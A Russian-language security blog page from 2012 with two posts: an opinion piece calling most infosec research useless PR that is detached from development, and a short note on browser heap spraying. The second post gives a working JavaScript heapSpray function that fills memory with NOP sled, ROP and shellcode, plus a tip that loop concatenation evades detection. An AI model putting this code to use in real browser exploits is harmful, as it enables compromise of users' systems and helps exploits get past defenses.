среда, 28 ноября 2012 г.

На тему круглого стола...

Ну вот, начало конца этого блога уже скоро 8) Тем не менее, иногда прет... да надо молчать, но иногда остановить некому, итак, блого-запись на тему Ресерчeров, девелоперов, баг-хантеров и ИБ индустрии...

Преамбула.

На прошедшей конфе #Zeronights эта тема была вынесена в отдельный поток "круглого стола", но тема зародилась давно, и уже мусолилась у Токсы, и на Риспе:


Поток.

В контексте этой истории -  все это хорошо объяснимо. Для чего делаются исследования? Вот если ответить на этот вопрос, честно и беспристрастно, то станет понятно, что большинство ресерча бесполезно, ибо цели интересны узкому кругу лиц. Вообще ИБ индустрия - это узкий круг лиц, и рынок там - "натуральное хозяйство". ИБшники это кто, возьмем систему Тохи:

1) Менеджеры ИБ в компаниях.
2) Ресерчеры - баг-хантеры.
3) Вендоры ИБ
4) Регуляторы

И что получается? Что система замкнута. Ресерчеры изображает из себя хакеров, находят XSS, хвастаются ею, создают повод, для того, что бы менеджер ИБ могу купить то, что произвел на свет вендор ИБ. А еще есть Регуляторы, которые тупо говорят: всем покупать и тратить деньги, иначе рынок умрет 8)  В 90% рынка - это так (субъективное мнение). Это тупик. Провал. В итоге мы имеем тонны Г.Пиара от Ресерчеров, которые хотят куски котлет. Вендоров ИБ, которые встроились в систему.  В итоге что же ресерчеры? Они тоже бывают разными, кто делает ресерч ради фана, кто ради ПР и бизнеса, кто ради реальной цели - взломать что-то. Так вот в последнем случае это хотя бы оправданный ресерч. Человек хочет что-то сломать, делает исследование, находит багу, методу, вектор атаки, ломает и приносит себе реальную выгоду. А ради фана? Смотри пример с электронными замками. Чувак получил фан, сгонял в Лас-Вегас, но на этом все. Пользу получили воры. Все остальные (разработчики, владельцы) только ущерб. ИМХО: полезность такой ресерч принес бы только бы только в процессе разработки.

Вывод.

ИБ-ресерч в отрыве от процесса разработки и эксплуатации - бесполезен. Да вы нашли 100 багов, ну 1000, ну и что? Их еще потом 1000 будет, после вас, другие то же найдут. Гонятся за цифрами или ПР-ом  круто, но толку вселенной это не принесет.  Актуальность некоторых ресерчей - то же большой вопрос. ИБ - индустрия, особенно в России (но на самом деле на западе примерно такая же идея, только чуть впереди по развитию) - жалкое зрелище, есть отдельные исключения, но в целом, все вместе - унылая ветка по срубанию бабла. До 200x года было веселее, тогда люди делали ресерч ради реального профита и угара, и это двигало всех совершенствовать защиту и развивать процессы, но теперь все застопорилось.

Не претендую на правдивость всего сказанного или того, что я буду так думать через какое-то время, но уверен, что ИБ в отрыве от разработчиков, процессов и эксплуатации - просто махание шашкой. Консультанты, интеграторы, регуляторы - просто элементы системы иногда даже паразитические 8)

пятница, 23 ноября 2012 г.

HeapSpray

Мини блого-запись  о хипспрее.

Забавно, но в Интернетах говорят о всяких Bubble и Nozzle, и в частности относительно FF и IE9. Я вот прочитав следующие блоги:

https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
http://www.greyhathacker.net/?p=549

... был убежден в эффективности данных методов и даже рассказывал об этом на воркшопе, но сегодня захотелось мне определить порог детектирования HeapSpray. И тут то я понял, что истинная причина того, почему все эти методы из блогов работают, не в том, что они добавляют рандомный  код в начали строки и обманывают сложные алгоритмы, а в том, что там есть конкатенация в цикле. Другими словами не надо усложнять код и добавлять счетчик или не-ассемблерные инструкции и тд. Достаточно сделать конкатенацию! Все просто, не усложняйте себе жизнь ;)

P.S. Прошу считать это за дополнение к воркшопу, где рассказывалось об методе Корелана. Теперь рабочий код для HeapSpray много проще (greyhathacker.net базовый вариант):


  1. var heap_chunks;
  2. function heapSpray(rop,shellcode,nopsled)
  3. {
  4.          var chunk_size, headersize, nopsled_len, code;
  5.          var i, codewithnum;
  6.          log.innerHTML+="<br><b>Stage 2. HeapSpraay...";
  7.          chunk_size = 0x40000;
  8.          headersize = 0x10;
  9.          nopsled_len = chunk_size - (headersize + rop.length + shellcode.length);
  10.          while (nopsled.length < nopsled_len)
  11.                 nopsled += nopsled;
  12.          nopsled = nopsled.substring(0, nopsled_len);
  13.          code = nopsled + rop + shellcode;                            
  14.          heap_chunks = new Array();
  15.          for (i = 0 ; i < 1000 ; i++)
  16.          {
  17.                 codewithnum = "HERE" + code;
  18.                 heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
  19.          }
  20.  }